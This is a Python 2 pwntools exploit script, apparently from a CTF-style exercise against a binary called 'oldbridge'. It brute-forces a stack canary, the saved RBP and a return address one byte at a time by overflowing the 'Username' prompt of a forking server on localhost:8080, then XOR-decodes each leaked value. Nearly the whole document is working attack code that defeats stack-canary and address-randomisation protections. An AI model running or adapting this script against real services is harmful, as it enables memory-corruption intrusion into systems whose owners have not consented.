all.py

from pwn import *

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

# oldbridge_canary.py
g64 = lambda canary: struct.unpack("Q", canary)[0]

davide = "davide"
canary_offset = 1026
canary = ""
guess = 0x0

buf = ""
buf += davide
buf += "A" * canary_offset
buf += canary

while len(canary) < 8:
    while guess != 0xff:
        try:
            r = remote("localhost", 8080)

            r.recvuntil("Username: ")
            r.send(buf + chr(guess))
            d = r.recv(1024)

            # if we don't get an exception, we guessed the correct byte
            print "Guessed correct byte:", format(guess, '02x')
            canary += chr(guess)
            buf += chr(guess)
            guess = 0x0
            break

        except EOFError,e:
            # guessed the wrong byte
            guess += 1
            r.close()

canary_ = g64(canary)^0x0d0d0d0d0d0d0d0d
print bcolors.OKBLUE + 'Canary_XOR:', hex(canary_)
print "Canary: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
print "Hexdump:", hexdump(canary)
print "\n"

# ret_add_find.py
g64 = lambda rbp_addr: struct.unpack("Q", rbp_addr)[0]

rbp_addr = ""
guess = 0x0

buf += rbp_addr

while len(rbp_addr) < 8:
    while guess != 0xff:
        try:
            r = remote("localhost", 8080)

            r.recvuntil("Username: ")
            r.send(buf + chr(guess))
            d = r.recv(1024)

            # if we don't get an exception, we guessed the correct byte
            print "Guessed correct byte:", format(guess, '02x')
            rbp_addr += chr(guess)
            buf += chr(guess)
            guess = 0x0
            break

        except EOFError,e:
            # guessed the wrong byte
            guess += 1
            r.close()

rbp_addr_ = g64(rbp_addr)^0x0d0d0d0d0d0d0d0d
print bcolors.OKGREEN +'RBP Addr XOR:', hex(rbp_addr_)
print "RBP Addr: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in rbp_addr)
print "Hexdump:", hexdump(rbp_addr)
print "\n"

#ret_addr_2.py
g64 = lambda ret_addr_2: struct.unpack("Q", ret_addr_2)[0]

ret_addr_2 = ""
guess_ = 0xbb

buf += ret_addr_2

while len(ret_addr_2) < 8:
    while guess_ != 0xff:
        try:
            r = remote("localhost", 8080)

            r.recvuntil("Username: ")
            r.send(buf + chr(guess_))
            d = r.recv(1024)

            # if we don't get an exception, we guessed the correct byte
            print "Guessed correct byte:", format(guess_, '02x')
            ret_addr_2 += chr(guess_)
            buf += chr(guess_)
            guess_ = 0x0
            break

        except EOFError,e:
            # guessed the wrong byte
            guess_ += 1
            r.close()

ret_addr__ = g64(ret_addr_2)^0x0d0d0d0d0d0d0d0d
print bcolors.WARNING + 'Ret Addr XOR:', hex(ret_addr__)
print "Ret Addr: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in ret_addr_2)
print "Hexdump:", hexdump(ret_addr_2)